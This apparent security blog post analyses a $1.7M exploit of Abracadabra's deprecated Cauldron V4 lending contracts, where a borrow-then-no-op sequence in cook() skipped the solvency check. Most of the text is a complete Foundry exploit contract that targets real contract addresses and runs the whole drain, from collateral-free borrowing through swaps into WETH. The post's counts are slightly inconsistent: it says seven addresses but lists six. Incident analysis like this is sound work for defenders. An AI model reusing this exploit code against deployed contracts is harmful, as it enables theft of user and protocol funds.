Skip to content

Unpacking the Abracadabra Cauldron Exploit: $1.7M Drained via Solvency Check Bypass

Abracadabra Money, known for its Magic Internet Money (MIM) stablecoin and lending protocol, suffered yet another exploit on October 4, 2025. This time, attackers drained approximately $1.7 million by exploiting a flaw in the deprecated Cauldron V4 contracts on Ethereum. This marks the third major hack on the platform in under two years, following incidents in January 2024 ($6.49 million loss) and March 2025 ($13 million loss). The root cause? A logical error in the cook() function that allowed borrowers to bypass insolvency checks, enabling unauthorized minting of MIM tokens.

Abracadabra’s Cauldrons are isolated lending markets where users deposit collateral to borrow MIM, a USD-pegged stablecoin. The protocol integrates with BentoBox (a yield-optimizing vault) and leverages liquidity from Curve and Uniswap for swaps. While the team quickly paused contracts to contain the damage, the incident highlights ongoing security challenges in multi-action smart contract designs. In this post, we’ll break down the vulnerability and attack flow, incorporating details from security analyses and on-chain data.

Abracadabra Hack

The Vulnerability: Flawed Multi-Action Logic in cook()

The exploit targeted deprecated V4 Cauldrons on Ethereum Mainnet, specifically a sequence error in the cook() function. This function allows users to batch multiple predefined operations (actions) in a single transaction, such as adding collateral, borrowing, or repaying. All actions share a common CookStatus struct, which tracks flags like needsSolvencyCheck to enforce solvency after borrowing.

Here’s the key issue:

  • Action 5 (ACTION_BORROW): Executes a borrow operation and sets status.needsSolvencyCheck = true to trigger a post-action insolvency check.
  • Action 0 (No-Op/Default): Calls an internal hook _additionalCookAction(), which is unimplemented in the contract. This defaults to returning a new status with needsSolvencyCheck = false, overwriting the previous flag.

By sequencing Action 5 followed by Action 0, attackers could borrow MIM without collateral, minting tokens while skipping the solvency validation. This bypassed the final check in cook(), which only runs if needsSolvencyCheck is true.

For context, here’s a simplified snippet from the vulnerable Cauldron contract code (view on Etherscan) illustrating the loop in cook():

for (uint256 i = 0; i < actions.length; i++) {
    uint8 action = actions[i];
    if (action == ACTION_BORROW) {  // Action 5
        (int256 amount, address to) = abi.decode(datas[i], (int256, address));
        (value1, value2) = _borrow(to, uint256(amount), value1, value2);
        status.needsSolvencyCheck = true;
    } else if (action == 0) {
        // Calls _additionalCookAction, which returns a new status with needsSolvencyCheck = false
        (bytes memory returnData, uint8 returnValues, CookStatus memory returnStatus) = _additionalCookAction(action, status, values[i], datas[i], value1, value2);
        status = returnStatus;  // Overwrites flag
    }
    // ... other actions
}
if (status.needsSolvencyCheck) {
    require(_isSolvent(msg.sender, _exchangeRate), "Cauldron: user insolvent");
}

The _additionalCookAction() is a virtual function meant for extensions but left empty, resetting the status inadvertently. This fragmented state management across batched actions created the exploit window.

The vulnerability affected seven Cauldron addresses: 0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c, 0x289424aDD4A1A503870EB475FD8bF1D586b134ED, 0xce450a23378859fB5157F4C4cCCAf48faA30865B, 0x40d95C4b34127CF43438a963e7C066156C5b87a3, 0x6bcd99D6009ac1666b58CB68fB4A50385945CDA2, 0xC6D3b82f9774Db8F92095b5e4352a8bB8B0dC20d.

Attack Mechanics: Step-by-Step Breakdown

For those interested in understanding the technical implementation, here’s the complete exploit contract that demonstrates the vulnerability. This code can be run using Foundry to fork the Ethereum mainnet at the specific block and reproduce the attack:

// SPDX-License-Identifier: UNLICENSED
// @KeyInfo - Total Lost : 1.7M USD
// PoC: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2025-10/MIMSpell3_exp.sol
// Attacker : https://etherscan.io/address/0x1aaade3e9062d124b7deb0ed6ddc7055efa7354d
// Attack Contract : https://etherscan.io/address/0xb8e0a4758df2954063ca4ba3d094f2d6eda9b993
// Vulnerable Contract : https://etherscan.io/address/0x46f54d434063e5f1a2b2cc6d9aaa657b1b9ff82c
// Attack Tx : https://etherscan.io/tx/0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6

pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";

// Interfaces
interface IBentoBox {
    function balanceOf(address token, address user) external view returns (uint256);
    function toAmount(address token, uint256 share, bool roundUp) external view returns (uint256);
    function withdraw(
        address token,
        address from,
        address to,
        uint256 amount,
        uint256 share
    ) external returns (uint256 amountOut, uint256 shareOut);
}

interface ICauldron {
    function cook(
        uint8[] calldata actions,
        uint256[] calldata values,
        bytes[] calldata datas
    ) external payable returns (uint256 value1, uint256 value2);
    function borrowLimit() external view returns (uint128 total, uint128 borrowPartPerAddress);
}

interface ICurveRouter {
    function exchange(
        address[11] calldata route,
        uint256[5][5] calldata swap_params,
        uint256 amount,
        uint256 expected,
        address[5] calldata pools,
        address receiver
    ) external returns (uint256);
}

interface ICurve3Pool {
    function remove_liquidity(uint256 amount, uint256[3] calldata min_amounts) external returns (uint256[3] memory);

    function remove_liquidity_one_coin(uint256 token_amount, int128 i, uint256 min_amount) external;
}

interface IUniswapV3Router {
    struct ExactInputParams {
        bytes path;
        address recipient;
        uint256 deadline;
        uint256 amountIn;
        uint256 amountOutMinimum;
    }

    function exactInput(
        ExactInputParams calldata params
    ) external payable returns (uint256 amountOut);
}

contract MIMSpell3Exploit is BaseTestWithBalanceLog {
    // Constants
    uint256 private constant BLOCK_NUM_TO_FORK = 23_504_544;

    // Pool indices for 3Pool
    int128 private constant USDT_INDEX = 2;

    // Uniswap V3 fee tier
    uint24 private constant UNISWAP_V3_FEE_TIER = 500; // 0.05%

    // Cauldron action types
    uint8 private constant ACTION_REPAY = 5;
    uint8 private constant ACTION_NO_OP = 0;

    // Curve swap parameters
    uint256 private constant INPUT_TOKEN_INDEX = 0;
    uint256 private constant OUTPUT_TOKEN_INDEX = 1;
    uint256 private constant SWAP_TYPE = 1;
    uint256 private constant POOL_TYPE = 1;
    uint256 private constant N_COINS = 2;

    // Contract addresses
    address private constant BENTOBOX = 0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce;
    address private constant CURVE_ROUTER = 0x45312ea0eFf7E09C83CBE249fa1d7598c4C8cd4e;
    address private constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
    address private constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;

    // Token addresses
    address private constant MIM = 0x99D8a9C45b2ecA8864373A26D1459e3Dff1e17F3;
    address private constant THREE_CRV = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490;
    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address private constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address private constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    // Pool addresses
    address private constant MIM_3CRV_POOL = 0x5a6A4D54456819380173272A5E8E9B9904BdF41B;

    // Cauldron addresses and debt amounts
    address[6] private CAULDRONS = [
        0x46f54d434063e5F1a2b2CC6d9AAa657b1B9ff82c,
        0x289424aDD4A1A503870EB475FD8bF1D586b134ED,
        0xce450a23378859fB5157F4C4cCCAf48faA30865B,
        0x40d95C4b34127CF43438a963e7C066156C5b87a3,
        0x6bcd99D6009ac1666b58CB68fB4A50385945CDA2,
        0xC6D3b82f9774Db8F92095b5e4352a8bB8B0dC20d
    ];

    function setUp() public {
        vm.createSelectFork("mainnet", BLOCK_NUM_TO_FORK);
        fundingToken = WETH;
    }

    function testExploit() public balanceLog {
        _borrowFromAllCauldrons();
        _withdrawAllMIMFromBentoBox();
        _swapMIMTo3Crv();
        _remove3PoolLiquidityToUSDT();
        _swapUSDTToWETH();
    }

    function _borrowFromAllCauldrons() internal {
        uint8[] memory actions = new uint8[](2);
        actions[0] = ACTION_REPAY;
        actions[1] = ACTION_NO_OP;

        uint256[] memory values = new uint256[](2);

        for (uint256 i = 0; i < CAULDRONS.length; i++) {
            uint256 balavail = IBentoBox(BENTOBOX).balanceOf(MIM, CAULDRONS[i]);
            (uint256 borrowlimit,) = ICauldron(CAULDRONS[i]).borrowLimit();
            if (borrowlimit >= balavail) {
                _borrowFromCauldron(CAULDRONS[i], actions, values, IBentoBox(BENTOBOX).toAmount(MIM, balavail, false));
            }
        }
    }

    function _borrowFromCauldron(
        address cauldron,
        uint8[] memory actions,
        uint256[] memory values,
        uint256 debtAmount
    ) internal {
        bytes[] memory datas = new bytes[](2);
        datas[0] = abi.encode(debtAmount, address(this));
        datas[1] = hex"";
        ICauldron(cauldron).cook(actions, values, datas);
    }

    function _withdrawAllMIMFromBentoBox() internal {
        uint256 mimBalance = IBentoBox(BENTOBOX).balanceOf(MIM, address(this));
        IBentoBox(BENTOBOX).withdraw(MIM, address(this), address(this), 0, mimBalance);
    }

    function _swapMIMTo3Crv() internal {
        uint256 mimAmount = IERC20(MIM).balanceOf(address(this));
        IERC20(MIM).approve(CURVE_ROUTER, mimAmount);

        address[11] memory route;
        route[0] = MIM;
        route[1] = MIM_3CRV_POOL;
        route[2] = THREE_CRV;

        uint256[5][5] memory swapParams;
        swapParams[0][0] = INPUT_TOKEN_INDEX;
        swapParams[0][1] = OUTPUT_TOKEN_INDEX;
        swapParams[0][2] = SWAP_TYPE;
        swapParams[0][3] = POOL_TYPE;
        swapParams[0][4] = N_COINS;

        address[5] memory pools;
        pools[0] = MIM_3CRV_POOL;

        ICurveRouter(CURVE_ROUTER).exchange(route, swapParams, mimAmount, 0, pools, address(this));
    }

    function _remove3PoolLiquidityToUSDT() internal {
        uint256 threeCrvBalance = IERC20(THREE_CRV).balanceOf(address(this));
        IERC20(THREE_CRV).approve(CURVE_3POOL, threeCrvBalance);

        // Remove liquidity as USDT only (index 2 in the 3Pool: DAI=0, USDC=1, USDT=2)
        ICurve3Pool(CURVE_3POOL).remove_liquidity_one_coin(threeCrvBalance, USDT_INDEX, 0);
    }

    function _swapUSDTToWETH() internal {
        uint256 usdtBalance = IERC20(USDT).balanceOf(address(this));
        if (usdtBalance > 0) {
            SafeTransferLib.safeApprove(IERC20(USDT), UNISWAP_V3_ROUTER, usdtBalance);

            IUniswapV3Router.ExactInputParams memory params = IUniswapV3Router.ExactInputParams({
                path: abi.encodePacked(USDT, UNISWAP_V3_FEE_TIER, WETH),
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: usdtBalance,
                amountOutMinimum: 0
            });

            IUniswapV3Router(UNISWAP_V3_ROUTER).exactInput(params);
        }
    }

    receive() external payable {}
}

The attacker deployed a malicious contract (0xb8e0a4758df2954063ca4ba3d094f2d6eda9b993) and executed the exploit in a single transaction: 0x842aae91c89a9e5043e64af34f53dc66daf0f033ad8afbf35ef0c93f99a9e5e6. The attacker’s wallet: 0x1aaade3e9062d124b7deb0ed6ddc7055efa7354d.

The provided PoC (MIMSpell3Exploit) replicates the attack at block 23,504,544. It borrows from all six Cauldrons, withdraws MIM, swaps to 3CRV, removes liquidity to USDT, and finally swaps to WETH. Key tokens involved:

Phase 1: Borrowing from Cauldrons

  • The attacker called cook() on each of the six Cauldrons with actions = [5, 0] (borrow + no-op).
  • For each, they borrowed the maximum available MIM shares from BentoBox (0xd96f48665a1410C0cd669A88898ecA36B9Fc2cce) without collateral, totaling ~1.793M MIM.
  • The no-op reset the solvency flag, allowing the borrow to succeed.

In the PoC:

function _borrowFromAllCauldrons() internal {
    uint8[] memory actions = new uint8[](2);
    actions[0] = ACTION_REPAY;  // Note: Mislabeled; corresponds to ACTION_BORROW=5
    actions[1] = ACTION_NO_OP;
    // ... loop over cauldrons and borrow max available
}

Phase 2: Withdrawing and Swapping MIM

Post-exploit, the attacker laundered funds, including ~51 ETH via Tornado Cash.

Impact and Response

The hack resulted in ~1.79M MIM minted and drained, valued at $1.7M. Abracadabra’s team paused all contracts, mitigated by setting borrow limits to zero on affected Cauldrons, and confirmed no further risks. Unlike previous exploits (e.g., the March 2025 GMX-linked Cauldron drain), this one targeted legacy V4 code.

The DAO treasury identified the issue shortly after and contained it. No public bounty was offered to the attacker, who proceeded to launder funds. This repeated vulnerability has eroded trust, with calls for migration away from deprecated contracts.